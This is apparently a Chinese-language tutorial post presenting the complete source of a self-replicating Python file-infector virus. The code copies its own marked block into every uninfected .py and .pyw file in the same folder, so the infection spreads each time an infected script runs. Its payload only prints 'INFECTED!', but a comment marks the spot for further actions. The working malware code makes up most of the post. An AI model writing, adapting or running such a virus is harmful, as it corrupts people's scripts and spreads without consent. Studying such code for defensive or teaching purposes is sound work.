病毒功能
- 自我复制
- 感染其他文件
- 执行特定代码
思路
此病毒自动检测同文件夹下其他py文件,把自己复制进去,执行其他被感染的py文件时,病毒又会通过其传播。
代码
## START OF VIRUS ##
import sys,glob
code =[]
with open(sys.argv[0],'r') as f:
lines = f.readlines()
virus_area = False
for line in lines:
if line == '## START OF VIRUS ##\n':
virus_area = True
if virus_area:
code.append(line)
if line == '## END OF VIRUS ##':
break
python_scripts = glob.glob('*.py') + glob.glob('*.pyw')
for script in python_scripts:
with open(script,'r') as f:
script_code = f.readlines()
infected = False
for line in script_code:
if line == '## START OF VIRUS ##\n':
infected = True
break
if not infected:
final_code = []
final_code.extend(code)
final_code.extend('\n')
final_code.extend(script_code)
with open(script,'w') as f:
f.writelines(final_code)
# 感染后要做的行为
print("INFECTED!")
## END OF VIRUS ##
效果
运行viru.py前
运行viru.py后